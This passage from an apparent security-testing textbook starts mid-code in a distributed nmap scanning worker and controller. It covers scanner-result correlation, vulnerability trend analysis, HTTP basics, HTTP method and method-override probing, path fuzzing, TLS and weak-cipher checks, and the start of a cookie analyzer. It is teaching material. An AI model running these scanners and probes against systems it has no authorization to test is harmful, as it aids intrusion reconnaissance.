    def execute_port_scan(self, target, ports):
        """Execute port scan"""
        import nmap
        nm = nmap.PortScanner()
        
        try:
            nm.scan(target, ports, arguments='-sS -T4 --min-rate 500')
            result = {}
            
            if target in nm.all_hosts():
                host = nm[target]
                result['status'] = 'up'
                result['hostnames'] = host.hostnames()
                result['ports'] = []
                
                for proto in host.all_protocols():
                    ports = host[proto].keys()
                    for port in ports:
                        result['ports'].append({
                            'port': port,
                            'state': host[proto][port]['state'],
                            'name': host[proto][port]['name']
                        })
            else:
                result['status'] = 'down'
                
            return result
        except Exception as e:
            return {'error': str(e)}
            
    def execute_vuln_scan(self, target, ports):
        """Execute vulnerability scan"""
        # Simplified vulnerability scan
        return {'scan_type': 'vuln', 'target': target, 'results': []}
        
    def execute_web_scan(self, target):
        """Execute web application scan"""
        # Simplified web scan
        return {'scan_type': 'web', 'target': target, 'results': []}
        
    def run(self):
        """Main worker loop"""
        self.register_with_controller()
        
        while self.running:
            task = self.get_task()
            
            if task and task.get('type') != 'no_task':
                print(f"[Worker {self.worker_id}] Executing task {task.get('task_id')}")
                result = self.execute_task(task)
                self.submit_result(task.get('task_id'), result)
            else:
                time.sleep(5)  # Wait before checking for new tasks

class ScanController:
    def __init__(self, host='0.0.0.0', port=5555):
        self.host = host
        self.port = port
        self.workers = {}
        self.tasks = {}
        self.results = {}
        self.next_task_id = 1
        
    def start(self):
        """Start the controller server"""
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((self.host, self.port))
        server.listen(10)
        
        print(f"[Controller] Listening on {self.host}:{self.port}")
        
        while True:
            client, addr = server.accept()
            data = client.recv(8192).decode()
            
            if data:
                try:
                    request = json.loads(data)
                    response = self.handle_request(request, addr)
                    if response:
                        client.send(json.dumps(response).encode())
                except Exception as e:
                    print(f"Error handling request: {e}")
                    
            client.close()
            
    def handle_request(self, request, addr):
        """Handle worker requests"""
        request_type = request.get('type')
        
        if request_type == 'register':
            worker_id = request.get('worker_id')
            self.workers[worker_id] = {
                'address': addr[0],
                'capabilities': request.get('capabilities', []),
                'last_seen': time.time(),
                'tasks_assigned': []
            }
            print(f"[Controller] Worker {worker_id} registered")
            return {'status': 'registered'}
            
        elif request_type == 'get_task':
            worker_id = request.get('worker_id')
            
            # Find next available task
            for task_id, task in self.tasks.items():
                if task['status'] == 'pending':
                    task['status'] = 'assigned'
                    task['worker'] = worker_id
                    self.workers[worker_id]['tasks_assigned'].append(task_id)
                    
                    return {
                        'task_id': task_id,
                        'type': task['type'],
                        'target': task['target'],
                        'ports': task.get('ports')
                    }
                    
            return {'type': 'no_task'}
            
        elif request_type == 'submit_result':
            worker_id = request.get('worker_id')
            task_id = request.get('task_id')
            result = request.get('result')
            
            self.results[task_id] = {
                'worker': worker_id,
                'result': result,
                'completed': time.time()
            }
            
            if task_id in self.tasks:
                self.tasks[task_id]['status'] = 'completed'
                
            print(f"[Controller] Received result for task {task_id}")
            return {'status': 'received'}
            
    def add_task(self, task_type, target, ports=None):
        """Add a new scan task"""
        task_id = str(self.next_task_id)
        self.next_task_id += 1
        
        self.tasks[task_id] = {
            'task_id': task_id,
            'type': task_type,
            'target': target,
            'ports': ports,
            'status': 'pending',
            'added': time.time()
        }
        
        return task_id
        
    def distribute_scan(self, targets: List[str], scan_type: str = 'port_scan'):
        """Distribute scan tasks across workers"""
        task_ids = []
        
        for target in targets:
            task_id = self.add_task(scan_type, target)
            task_ids.append(task_id)
            
        # Wait for all tasks to complete
        while True:
            completed = 0
            for task_id in task_ids:
                if task_id in self.results:
                    completed += 1
                    
            if completed == len(task_ids):
                break
                
            time.sleep(2)
            
        # Collect results
        scan_results = {}
        for task_id in task_ids:
            result = self.results.get(task_id)
            if result:
                task = self.tasks[task_id]
                scan_results[task['target']] = result['result']
                
        return scan_results

# Example usage - Controller
if __name__ == "__main__":
    import sys
    
    if sys.argv[1] == 'controller':
        controller = ScanController()
        controller.start()
        
    elif sys.argv[1] == 'worker':
        worker = ScanWorker(sys.argv[2], sys.argv[3], int(sys.argv[4]))
        worker.run()

11.4 Report Analysis

Analyzing scanner output to extract meaningful findings and prioritize remediation.

11.4.1 Multi-Scanner Correlation

#!/usr/bin/env python3
# scanner_correlation.py

import json
import xml.etree.ElementTree as ET
from typing import Dict, List
import hashlib

class ScanResultCorrelator:
    def __init__(self):
        self.results = {}
        self.correlated_findings = {}
        
    def load_nmap_xml(self, filename: str) -> Dict:
        """Load and parse Nmap XML output"""
        try:
            tree = ET.parse(filename)
            root = tree.getroot()
            
            hosts = []
            for host in root.findall('host'):
                host_info = {'ip': None, 'ports': [], 'os': [], 'hostnames': []}
                
                # Get IP
                address = host.find('address')
                if address is not None and address.get('addrtype') == 'ipv4':
                    host_info['ip'] = address.get('addr')
                    
                # Get hostnames
                for hostname in host.findall('hostnames/hostname'):
                    host_info['hostnames'].append(hostname.get('name'))
                    
                # Get ports
                for port in host.findall('ports/port'):
                    port_info = {
                        'portid': port.get('portid'),
                        'protocol': port.get('protocol'),
                        'state': port.find('state').get('state'),
                        'service': port.find('service').get('name') if port.find('service') is not None else None
                    }
                    host_info['ports'].append(port_info)
                    
                # Get OS
                for os in host.findall('os/osmatch'):
                    host_info['os'].append(os.get('name'))
                    
                hosts.append(host_info)
                
            return {'tool': 'nmap', 'hosts': hosts}
        except Exception as e:
            print(f"Error loading Nmap XML: {e}")
            return {}
            
    def load_nessus_xml(self, filename: str) -> Dict:
        """Load and parse Nessus XML output"""
        try:
            tree = ET.parse(filename)
            root = tree.getroot()
            
            findings = []
            for report_host in root.findall('.//ReportHost'):
                host_info = {
                    'name': report_host.get('name'),
                    'findings': []
                }
                
                for item in report_host.findall('ReportItem'):
                    finding = {
                        'plugin_id': item.get('pluginID'),
                        'plugin_name': item.get('pluginName'),
                        'severity': item.get('severity'),
                        'port': item.get('port'),
                        'protocol': item.get('protocol'),
                        'description': item.findtext('description'),
                        'solution': item.findtext('solution'),
                        'cvss_base': item.findtext('cvss_base_score')
                    }
                    host_info['findings'].append(finding)
                    
                findings.append(host_info)
                
            return {'tool': 'nessus', 'findings': findings}
        except Exception as e:
            print(f"Error loading Nessus XML: {e}")
            return {}
            
    def load_openvas_xml(self, filename: str) -> Dict:
        """Load and parse OpenVAS XML output"""
        # Similar to Nessus parsing
        return {}
        
    def correlate_findings(self):
        """Correlate findings from multiple scanners"""
        
        correlated = {}
        
        for source, data in self.results.items():
            tool = data.get('tool')
            
            if tool == 'nmap':
                for host in data.get('hosts', []):
                    host_key = host['ip'] or host['hostnames'][0] if host['hostnames'] else 'unknown'
                    
                    if host_key not in correlated:
                        correlated[host_key] = {
                            'ip': host['ip'],
                            'hostnames': host['hostnames'],
                            'ports': {},
                            'vulnerabilities': [],
                            'sources': []
                        }
                        
                    # Add ports
                    for port in host['ports']:
                        if port['state'] == 'open':
                            port_key = f"{port['portid']}/{port['protocol']}"
                            correlated[host_key]['ports'][port_key] = {
                                'service': port['service'],
                                'source': 'nmap'
                            }
                            
                    correlated[host_key]['sources'].append('nmap')
                    
            elif tool == 'nessus':
                for host in data.get('findings', []):
                    host_key = host['name']
                    
                    if host_key not in correlated:
                        correlated[host_key] = {
                            'ip': host_key,
                            'hostnames': [],
                            'ports': {},
                            'vulnerabilities': [],
                            'sources': []
                        }
                        
                    # Add vulnerabilities
                    for finding in host['findings']:
                        if int(finding.get('severity', 0)) >= 3:  # High or Critical
                            vuln_key = self.create_vuln_id(finding)
                            
                            vuln_info = {
                                'plugin_name': finding['plugin_name'],
                                'severity': finding['severity'],
                                'description': finding['description'],
                                'solution': finding['solution'],
                                'cvss': finding['cvss_base'],
                                'source': 'nessus'
                            }
                            
                            correlated[host_key]['vulnerabilities'].append(vuln_info)
                            
                            # Add port info if available
                            if finding.get('port'):
                                port_key = f"{finding['port']}/{finding['protocol']}"
                                if port_key not in correlated[host_key]['ports']:
                                    correlated[host_key]['ports'][port_key] = {
                                        'service': None,
                                        'source': 'nessus'
                                    }
                                    
                    correlated[host_key]['sources'].append('nessus')
                    
        self.correlated_findings = correlated
        return correlated
    
    def create_vuln_id(self, finding):
        """Create unique ID for vulnerability"""
        vuln_string = f"{finding.get('plugin_name')}{finding.get('description')}"
        return hashlib.md5(vuln_string.encode()).hexdigest()[:8]
    
    def generate_consolidated_report(self):
        """Generate consolidated report from all scanners"""
        
        report = {
            'summary': {
                'total_hosts': len(self.correlated_findings),
                'total_vulnerabilities': 0,
                'vulnerabilities_by_severity': {'Critical': 0, 'High': 0, 'Medium': 0, 'Low': 0},
                'scanners_used': set()
            },
            'hosts': []
        }
        
        for host_key, host_data in self.correlated_findings.items():
            host_summary = {
                'host': host_key,
                'ip': host_data['ip'],
                'hostnames': host_data['hostnames'],
                'open_ports': len(host_data['ports']),
                'vulnerabilities': len(host_data['vulnerabilities']),
                'scanners': host_data['sources'],
                'port_list': host_data['ports'],
                'vulnerability_list': host_data['vulnerabilities']
            }
            
            report['hosts'].append(host_summary)
            report['summary']['total_vulnerabilities'] += len(host_data['vulnerabilities'])
            
            # Count by severity
            for vuln in host_data['vulnerabilities']:
                severity = vuln.get('severity', '0')
                if severity == '4':
                    report['summary']['vulnerabilities_by_severity']['Critical'] += 1
                elif severity == '3':
                    report['summary']['vulnerabilities_by_severity']['High'] += 1
                elif severity == '2':
                    report['summary']['vulnerabilities_by_severity']['Medium'] += 1
                elif severity == '1':
                    report['summary']['vulnerabilities_by_severity']['Low'] += 1
                    
            for scanner in host_data['sources']:
                report['summary']['scanners_used'].add(scanner)
                
        # Convert set to list for JSON serialization
        report['summary']['scanners_used'] = list(report['summary']['scanners_used'])
        
        return report
    
    def save_correlated_report(self, filename: str):
        """Save correlated report to file"""
        report = self.generate_consolidated_report()
        
        with open(filename, 'w') as f:
            json.dump(report, f, indent=2)
            
        print(f"[+] Correlated report saved to {filename}")
        return report

# Example usage
correlator = ScanResultCorrelator()
correlator.results['nmap'] = correlator.load_nmap_xml('nmap_scan.xml')
correlator.results['nessus'] = correlator.load_nessus_xml('nessus_scan.nessus')

correlator.correlate_findings()
report = correlator.save_correlated_report('correlated_scan_results.json')

11.4.2 Trend Analysis

#!/usr/bin/env python3
# trend_analysis.py

import json
import datetime
from collections import defaultdict
import matplotlib.pyplot as plt

class VulnerabilityTrendAnalyzer:
    def __init__(self):
        self.scan_history = []
        
    def add_scan_result(self, scan_date, results):
        """Add scan result to history"""
        self.scan_history.append({
            'date': scan_date,
            'results': results
        })
        
        # Keep sorted by date
        self.scan_history.sort(key=lambda x: x['date'])
        
    def analyze_trends(self):
        """Analyze vulnerability trends over time"""
        
        trends = {
            'dates': [],
            'total_vulns': [],
            'critical': [],
            'high': [],
            'medium': [],
            'low': [],
            'hosts_scanned': []
        }
        
        for scan in self.scan_history:
            trends['dates'].append(scan['date'])
            
            results = scan['results']
            
            # Count vulnerabilities
            critical = 0
            high = 0
            medium = 0
            low = 0
            
            for host in results.get('hosts', []):
                for vuln in host.get('vulnerability_list', []):
                    severity = vuln.get('severity', '0')
                    if severity == '4':
                        critical += 1
                    elif severity == '3':
                        high += 1
                    elif severity == '2':
                        medium += 1
                    elif severity == '1':
                        low += 1
                        
            trends['critical'].append(critical)
            trends['high'].append(high)
            trends['medium'].append(medium)
            trends['low'].append(low)
            trends['total_vulns'].append(critical + high + medium + low)
            trends['hosts_scanned'].append(len(results.get('hosts', [])))
            
        return trends
    
    def calculate_metrics(self, trends):
        """Calculate trend metrics"""
        
        metrics = {}
        
        if len(trends['dates']) >= 2:
            # Calculate changes
            first = trends['total_vulns'][0]
            last = trends['total_vulns'][-1]
            change = last - first
            percent_change = (change / first * 100) if first > 0 else 0
            
            metrics['total_change'] = {
                'absolute': change,
                'percentage': round(percent_change, 1)
            }
            
            # Calculate average per scan
            metrics['average_vulns'] = sum(trends['total_vulns']) / len(trends['total_vulns'])
            
            # Calculate trend direction
            if len(trends['total_vulns']) > 2:
                # Simple linear regression for direction
                x = list(range(len(trends['total_vulns'])))
                y = trends['total_vulns']
                
                n = len(x)
                slope = (n * sum(x[i]*y[i] for i in range(n)) - sum(x)*sum(y)) / \
                        (n * sum(x[i]**2 for i in range(n)) - sum(x)**2)
                        
                metrics['trend_direction'] = 'increasing' if slope > 0 else 'decreasing' if slope < 0 else 'stable'
                metrics['trend_slope'] = round(slope, 2)
                
        return metrics
    
    def generate_trend_report(self):
        """Generate trend analysis report"""
        
        trends = self.analyze_trends()
        metrics = self.calculate_metrics(trends)
        
        report = {
            'analysis_period': {
                'start': trends['dates'][0] if trends['dates'] else None,
                'end': trends['dates'][-1] if trends['dates'] else None,
                'scans_conducted': len(trends['dates'])
            },
            'trends': trends,
            'metrics': metrics,
            'observations': []
        }
        
        # Generate observations
        if metrics.get('total_change', {}).get('percentage', 0) < -10:
            report['observations'].append("Vulnerability count has decreased significantly, indicating effective remediation.")
        elif metrics.get('total_change', {}).get('percentage', 0) > 10:
            report['observations'].append("Vulnerability count has increased, investigate root causes.")
            
        if trends['critical'][-1] > trends['critical'][0]:
            report['observations'].append("Critical vulnerabilities are increasing - prioritize remediation.")
            
        return report
    
    def plot_trends(self, output_file='trends.png'):
        """Generate trend visualization"""
        
        trends = self.analyze_trends()
        
        plt.figure(figsize=(12, 8))
        
        # Plot total vulnerabilities
        plt.subplot(2, 2, 1)
        plt.plot(trends['dates'], trends['total_vulns'], marker='o')
        plt.title('Total Vulnerabilities Over Time')
        plt.xticks(rotation=45)
        plt.grid(True)
        
        # Plot by severity
        plt.subplot(2, 2, 2)
        plt.plot(trends['dates'], trends['critical'], marker='o', color='red', label='Critical')
        plt.plot(trends['dates'], trends['high'], marker='o', color='orange', label='High')
        plt.plot(trends['dates'], trends['medium'], marker='o', color='yellow', label='Medium')
        plt.plot(trends['dates'], trends['low'], marker='o', color='green', label='Low')
        plt.title('Vulnerabilities by Severity')
        plt.xticks(rotation=45)
        plt.legend()
        plt.grid(True)
        
        # Plot hosts scanned
        plt.subplot(2, 2, 3)
        plt.bar(trends['dates'], trends['hosts_scanned'])
        plt.title('Hosts Scanned')
        plt.xticks(rotation=45)
        plt.grid(True)
        
        # Plot vulnerability density
        plt.subplot(2, 2, 4)
        density = [v/h for v, h in zip(trends['total_vulns'], trends['hosts_scanned'])]
        plt.plot(trends['dates'], density, marker='o', color='purple')
        plt.title('Vulnerabilities per Host')
        plt.xticks(rotation=45)
        plt.grid(True)
        
        plt.tight_layout()
        plt.savefig(output_file)
        plt.close()
        
        print(f"[+] Trend plot saved to {output_file}")

# Example usage
analyzer = VulnerabilityTrendAnalyzer()

# Add historical scan data
analyzer.add_scan_result('2024-01-01', {'hosts': [{'vulnerability_list': [{'severity': '4'}, {'severity': '3'}]}]})
analyzer.add_scan_result('2024-02-01', {'hosts': [{'vulnerability_list': [{'severity': '4'}, {'severity': '4'}]}]})
analyzer.add_scan_result('2024-03-01', {'hosts': [{'vulnerability_list': [{'severity': '4'}]}]})

report = analyzer.generate_trend_report()
print(json.dumps(report, indent=2))
analyzer.plot_trends('vuln_trends.png')

PART V — WEB APPLICATION SECURITY

Chapter 12 — Web Fundamentals

Understanding the fundamentals of web technologies is essential for effective web application security testing. This chapter covers the core protocols, architectures, and technologies that power modern web applications.

12.1 HTTP/HTTPS Internals

Hypertext Transfer Protocol (HTTP) is the foundation of data communication on the World Wide Web. Understanding its intricacies is crucial for identifying vulnerabilities and exploiting web applications.

12.1.1 HTTP Protocol Structure

HTTP Request Structure:

GET /page.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP Response Structure:

HTTP/1.1 200 OK
Date: Mon, 23 Sep 2024 12:00:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Connection: close

<!DOCTYPE html>
<html>
<head>
    <title>Example Page</title>
</head>
<body>
    <h1>Hello, World!</h1>
</body>
</html>

HTTP Methods:

#!/usr/bin/env python3
# http_methods.py

import requests
from urllib.parse import urljoin

class HTTPMethodTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.results = {}
        
    def test_method(self, method, path=""):
        """Test specific HTTP method"""
        url = urljoin(self.base_url, path)
        
        try:
            if method == 'GET':
                response = self.session.get(url)
            elif method == 'POST':
                response = self.session.post(url, data={'test': 'data'})
            elif method == 'PUT':
                response = self.session.put(url, data={'test': 'data'})
            elif method == 'DELETE':
                response = self.session.delete(url)
            elif method == 'HEAD':
                response = self.session.head(url)
            elif method == 'OPTIONS':
                response = self.session.options(url)
            elif method == 'PATCH':
                response = self.session.patch(url, data={'test': 'data'})
            elif method == 'TRACE':
                response = self.session.request('TRACE', url)
            else:
                return None
                
            return {
                'status_code': response.status_code,
                'headers': dict(response.headers),
                'body_length': len(response.text) if response.text else 0
            }
        except Exception as e:
            return {'error': str(e)}
    
    def enumerate_methods(self, path=""):
        """Enumerate allowed HTTP methods"""
        methods = ['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH', 'TRACE']
        
        print(f"[*] Testing HTTP methods on {self.base_url}{path}")
        
        for method in methods:
            result = self.test_method(method, path)
            self.results[method] = result
            
            if result and 'status_code' in result:
                status = result['status_code']
                if status == 200:
                    print(f"  [+] {method}: {status} - Allowed")
                elif status == 403:
                    print(f"  [-] {method}: {status} - Forbidden")
                elif status == 405:
                    print(f"  [-] {method}: {status} - Method Not Allowed")
                elif status == 501:
                    print(f"  [-] {method}: {status} - Not Implemented")
                else:
                    print(f"  [?] {method}: {status} - Unexpected response")
            else:
                print(f"  [!] {method}: Error - {result.get('error', 'Unknown')}")
        
        # Check OPTIONS response for allowed methods
        if 'OPTIONS' in self.results:
            options_headers = self.results['OPTIONS'].get('headers', {})
            allowed = options_headers.get('Allow', '')
            if allowed:
                print(f"\n[+] Server reports allowed methods: {allowed}")
        
        return self.results
    
    def test_method_override(self):
        """Test HTTP method override techniques"""
        
        override_headers = [
            'X-HTTP-Method-Override',
            'X-HTTP-Method',
            'X-Method-Override'
        ]
        
        print("\n[*] Testing method override headers")
        
        for header in override_headers:
            url = urljoin(self.base_url, '/')
            
            try:
                # Send POST with override header to simulate PUT
                response = self.session.post(
                    url,
                    data={'test': 'data'},
                    headers={header: 'PUT'}
                )
                
                print(f"  [+] {header}: {response.status_code}")
                
                # Try DELETE override
                response = self.session.post(
                    url,
                    data={'test': 'data'},
                    headers={header: 'DELETE'}
                )
                
                print(f"  [+] {header} (DELETE): {response.status_code}")
                
            except Exception as e:
                print(f"  [-] {header}: Error - {e}")

# Example usage
tester = HTTPMethodTester('http://example.com')
tester.enumerate_methods('/api/users')
tester.test_method_override()

HTTP Status Codes:

#!/usr/bin/env python3
# status_codes.py

class HTTPStatusAnalyzer:
    def __init__(self):
        self.status_categories = {
            '1xx': 'Informational',
            '2xx': 'Success',
            '3xx': 'Redirection',
            '4xx': 'Client Error',
            '5xx': 'Server Error'
        }
        
        self.common_codes = {
            # Success
            200: 'OK',
            201: 'Created',
            202: 'Accepted',
            204: 'No Content',
            
            # Redirection
            301: 'Moved Permanently',
            302: 'Found (Temporary Redirect)',
            304: 'Not Modified',
            307: 'Temporary Redirect',
            308: 'Permanent Redirect',
            
            # Client Errors
            400: 'Bad Request',
            401: 'Unauthorized',
            403: 'Forbidden',
            404: 'Not Found',
            405: 'Method Not Allowed',
            429: 'Too Many Requests',
            
            # Server Errors
            500: 'Internal Server Error',
            502: 'Bad Gateway',
            503: 'Service Unavailable',
            504: 'Gateway Timeout'
        }
        
    def analyze_response(self, response):
        """Analyze HTTP response status code"""
        
        status_code = response.status_code
        category = f"{status_code // 100}xx"
        
        analysis = {
            'status_code': status_code,
            'category': self.status_categories.get(category, 'Unknown'),
            'meaning': self.common_codes.get(status_code, 'Unknown Code'),
            'security_implications': []
        }
        
        # Security implications based on status code
        if status_code == 200:
            if len(response.content) == 0:
                analysis['security_implications'].append("Empty 200 response - possible injection?")
                
        elif status_code == 301 or status_code == 302:
            location = response.headers.get('Location', '')
            if 'http:' in location and 'https' not in location:
                analysis['security_implications'].append("Redirect to HTTP from HTTPS - possible MITM")
                
        elif status_code == 401 or status_code == 403:
            # Check for information disclosure in error pages
            if len(response.content) > 1000:
                analysis['security_implications'].append("Verbose error page may disclose information")
                
        elif status_code == 404:
            if '404' not in response.text and 'Not Found' not in response.text:
                analysis['security_implications'].append("Custom 404 page may hide directory existence")
                
        elif status_code == 500:
            if 'SQL' in response.text or 'mysql' in response.text.lower():
                analysis['security_implications'].append("SQL error disclosed - possible SQL injection")
            if 'Stack Trace' in response.text or 'at ' in response.text:
                analysis['security_implications'].append("Stack trace disclosed - sensitive information")
                
        elif status_code == 429:
            analysis['security_implications'].append("Rate limiting detected - brute force protection?")
            
        return analysis
    
    def fuzz_status_codes(self, base_url, paths):
        """Fuzz paths to observe status code patterns"""
        
        import requests
        
        results = {
            '200': [],
            '403': [],
            '404': [],
            '500': [],
            'other': []
        }
        
        for path in paths:
            try:
                url = f"{base_url}/{path}"
                response = requests.get(url, timeout=2)
                
                code = response.status_code
                if code == 200:
                    results['200'].append(path)
                elif code == 403:
                    results['403'].append(path)
                elif code == 404:
                    results['404'].append(path)
                elif code == 500:
                    results['500'].append(path)
                else:
                    results['other'].append(f"{path}: {code}")
                    
            except:
                results['other'].append(f"{path}: error")
                
        return results

# Example usage
analyzer = HTTPStatusAnalyzer()
import requests
response = requests.get('http://example.com/nonexistent')
analysis = analyzer.analyze_response(response)
print(json.dumps(analysis, indent=2))

12.1.2 HTTPS and TLS

TLS Handshake Analysis:

#!/usr/bin/env python3
# tls_analysis.py

import ssl
import socket
import json
import certifi
from OpenSSL import SSL, crypto

class TLSAnalyzer:
    def __init__(self, hostname, port=443):
        self.hostname = hostname
        self.port = port
        self.cert_info = {}
        self.tls_info = {}
        
    def get_certificate(self):
        """Retrieve SSL/TLS certificate"""
        try:
            # Create SSL context
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            
            # Connect and get certificate
            with socket.create_connection((self.hostname, self.port), timeout=10) as sock:
                with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:
                    cert = ssock.getpeercert(binary_form=True)
                    
                    # Parse certificate
                    x509 = crypto.load_certificate(crypto.FILETYPE_ASN1, cert)
                    
                    self.cert_info = {
                        'subject': dict(x509.get_subject().get_components()),
                        'issuer': dict(x509.get_issuer().get_components()),
                        'version': x509.get_version(),
                        'serial_number': x509.get_serial_number(),
                        'not_before': x509.get_notBefore().decode(),
                        'not_after': x509.get_notAfter().decode(),
                        'signature_algorithm': x509.get_signature_algorithm().decode(),
                        'extensions': []
                    }
                    
                    # Get extensions
                    for i in range(x509.get_extension_count()):
                        ext = x509.get_extension(i)
                        self.cert_info['extensions'].append({
                            'name': ext.get_short_name().decode(),
                            'critical': ext.get_critical(),
                            'value': str(ext)
                        })
                        
                    # Get SANs
                    for ext in self.cert_info['extensions']:
                        if ext['name'] == 'subjectAltName':
                            sans = ext['value'].split(', ')
                            self.cert_info['subject_alt_names'] = [san.strip() for san in sans]
                            
        except Exception as e:
            print(f"Error retrieving certificate: {e}")
            
        return self.cert_info
    
    def check_tls_configuration(self):
        """Check TLS configuration and vulnerabilities"""
        
        vulnerabilities = []
        recommendations = []
        
        # Check protocol versions
        protocols = {
            'SSLv2': False,
            'SSLv3': False,
            'TLSv1.0': False,
            'TLSv1.1': False,
            'TLSv1.2': False,
            'TLSv1.3': False
        }
        
        for protocol in protocols.keys():
            try:
                context = ssl.SSLContext(self.get_ssl_version(protocol))
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                
                with socket.create_connection((self.hostname, self.port), timeout=5) as sock:
                    with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:
                        protocols[protocol] = True
            except:
                pass
                
        self.tls_info['supported_protocols'] = protocols
        
        # Check for vulnerabilities
        if protocols.get('SSLv2', False):
            vulnerabilities.append("SSLv2 supported - severely insecure")
            
        if protocols.get('SSLv3', False):
            vulnerabilities.append("SSLv3 supported - vulnerable to POODLE")
            
        if protocols.get('TLSv1.0', False):
            vulnerabilities.append("TLS 1.0 supported - deprecated")
            
        if not protocols.get('TLSv1.2', False):
            vulnerabilities.append("TLS 1.2 not supported - missing modern protocol")
            
        if not protocols.get('TLSv1.3', False):
            recommendations.append("Enable TLS 1.3 for best security")
            
        # Check certificate expiration
        if self.cert_info:
            import datetime
            not_after = datetime.datetime.strptime(
                self.cert_info['not_after'].decode() if isinstance(self.cert_info['not_after'], bytes) 
                else self.cert_info['not_after'],
                '%Y%m%d%H%M%SZ'
            )
            
            days_until_expiry = (not_after - datetime.datetime.now()).days
            
            if days_until_expiry < 0:
                vulnerabilities.append(f"Certificate EXPIRED {abs(days_until_expiry)} days ago")
            elif days_until_expiry < 30:
                vulnerabilities.append(f"Certificate expires in {days_until_expiry} days")
                
        # Check certificate trust chain
        try:
            context = ssl.create_default_context(cafile=certifi.where())
            with socket.create_connection((self.hostname, self.port), timeout=5) as sock:
                with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:
                    self.tls_info['certificate_valid'] = True
        except ssl.SSLCertVerificationError as e:
            self.tls_info['certificate_valid'] = False
            vulnerabilities.append(f"Certificate validation failed: {e}")
            
        self.tls_info['vulnerabilities'] = vulnerabilities
        self.tls_info['recommendations'] = recommendations
        
        return self.tls_info
    
    def get_ssl_version(self, protocol_name):
        """Map protocol name to SSL version constant"""
        versions = {
            'SSLv2': ssl.PROTOCOL_SSLv23,  # This is approximate
            'SSLv3': ssl.PROTOCOL_SSLv3,
            'TLSv1.0': ssl.PROTOCOL_TLSv1,
            'TLSv1.1': ssl.PROTOCOL_TLSv1_1,
            'TLSv1.2': ssl.PROTOCOL_TLSv1_2,
            'TLSv1.3': ssl.PROTOCOL_TLS_CLIENT  # For TLS 1.3 detection
        }
        return versions.get(protocol_name, ssl.PROTOCOL_TLS_CLIENT)
    
    def test_weak_ciphers(self):
        """Test for weak cipher support"""
        
        weak_ciphers = [
            'RC4-SHA',
            'RC4-MD5',
            'DES-CBC3-SHA',
            'EDH-RSA-DES-CBC3-SHA',
            'AECDH-AES256-SHA',
            'AECDH-AES128-SHA',
            'ADH-AES256-SHA',
            'ADH-AES128-SHA',
            'EXP-EDH-RSA-DES-CBC-SHA',
            'EXP-DES-CBC-SHA',
            'EXP-RC4-MD5'
        ]
        
        supported_weak = []
        
        for cipher in weak_ciphers:
            try:
                context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
                context.set_ciphers(cipher)
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                
                with socket.create_connection((self.hostname, self.port), timeout=5) as sock:
                    with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:
                        supported_weak.append(cipher)
            except:
                pass
                
        return supported_weak
    
    def generate_report(self):
        """Generate comprehensive TLS report"""
        
        self.get_certificate()
        self.check_tls_configuration()
        weak_ciphers = self.test_weak_ciphers()
        
        report = {
            'hostname': self.hostname,
            'port': self.port,
            'certificate': self.cert_info,
            'tls_configuration': self.tls_info,
            'weak_ciphers': weak_ciphers,
            'grade': self.calculate_grade()
        }
        
        return report
    
    def calculate_grade(self):
        """Calculate TLS configuration grade"""
        
        score = 100
        deductions = []
        
        # Protocol deductions
        protocols = self.tls_info.get('supported_protocols', {})
        
        if protocols.get('SSLv2', False):
            score -= 50
            deductions.append("SSLv2 support (-50)")
        if protocols.get('SSLv3', False):
            score -= 30
            deductions.append("SSLv3 support (-30)")
        if protocols.get('TLSv1.0', False):
            score -= 15
            deductions.append("TLS 1.0 support (-15)")
        if protocols.get('TLSv1.1', False):
            score -= 5
            deductions.append("TLS 1.1 support (-5)")
        if not protocols.get('TLSv1.2', False):
            score -= 20
            deductions.append("TLS 1.2 missing (-20)")
        if not protocols.get('TLSv1.3', False):
            score -= 10
            deductions.append("TLS 1.3 missing (-10)")
            
        # Weak cipher deductions
        weak_count = len(self.test_weak_ciphers())
        if weak_count > 0:
            score -= min(weak_count * 5, 30)
            deductions.append(f"Weak ciphers ({weak_count}) (-{min(weak_count*5, 30)})")
            
        # Certificate issues
        if self.cert_info:
            import datetime
            not_after = datetime.datetime.strptime(
                self.cert_info['not_after'].decode() if isinstance(self.cert_info['not_after'], bytes) 
                else self.cert_info['not_after'],
                '%Y%m%d%H%M%SZ'
            )
            
            days_left = (not_after - datetime.datetime.now()).days
            if days_left < 30:
                score -= 15
                deductions.append(f"Certificate expiring ({days_left} days) (-15)")
            if days_left < 0:
                score = 0
                deductions.append("Certificate expired - AUTOMATIC FAIL")
                
        # Determine grade
        if score >= 90:
            grade = 'A'
        elif score >= 70:
            grade = 'B'
        elif score >= 50:
            grade = 'C'
        elif score >= 30:
            grade = 'D'
        else:
            grade = 'F'
            
        return {
            'score': max(0, score),
            'grade': grade,
            'deductions': deductions
        }

# Example usage
analyzer = TLSAnalyzer('example.com')
report = analyzer.generate_report()
print(json.dumps(report, indent=2))

12.2 Cookies & Sessions

Session management is critical for web application security. Understanding how cookies and sessions work helps identify vulnerabilities like session fixation, hijacking, and insecure storage.

12.2.1 Cookie Attributes and Security

#!/usr/bin/env python3
# cookie_analyzer.py

import requests
from http.cookies import SimpleCookie
import re

class CookieAnalyzer:
    def __init__(self, session=None):
        self.session = session or requests.Session()
        self.cookies = {}
        self.security_issues = []
        
    def analyze_cookie(self, cookie_name, cookie_value, attributes):
        """Analyze individual cookie for security issues"""
        
        issues = []
        
        # Check Secure flag
        if 'secure' not in attributes or attributes['secure'] != True:
            issues.append("Missing Secure flag - cookie sent over HTTP")
